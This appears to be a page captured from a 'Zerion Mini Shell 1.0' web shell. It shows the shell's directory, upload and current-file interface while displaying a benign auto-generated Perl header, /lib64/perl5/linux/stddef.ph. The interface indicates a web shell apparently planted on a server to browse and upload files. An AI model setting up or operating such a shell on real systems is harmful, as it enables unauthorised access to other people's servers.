ok

Mini Shell

Direktori : /lib64/perl5/linux/
Upload File :
Current File : //lib64/perl5/linux/stddef.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_LINUX_STDDEF_H)) {
    eval 'sub _LINUX_STDDEF_H () {1;}' unless defined(&_LINUX_STDDEF_H);
    unless(defined(&__always_inline)) {
	eval 'sub __always_inline () { &__inline__;}' unless defined(&__always_inline);
    }
    eval 'sub __struct_group () {( &TAG,  &NAME,  &ATTRS,  &MEMBERS...) \'union union\' { \'struct struct\' {  &MEMBERS }  &ATTRS; \'struct TAG\' {  &MEMBERS }  &ATTRS  &NAME; };}' unless defined(&__struct_group);
}
unless(defined(&__DECLARE_FLEX_ARRAY)) {
    sub __DECLARE_FLEX_ARRAY {
	my($TYPE, $NAME) = @_;
	eval q('struct struct' { 'struct struct' { }  &__empty_  $NAME; $TYPE $NAME->[]; });
    }
}
1;

Zerion Mini Shell 1.0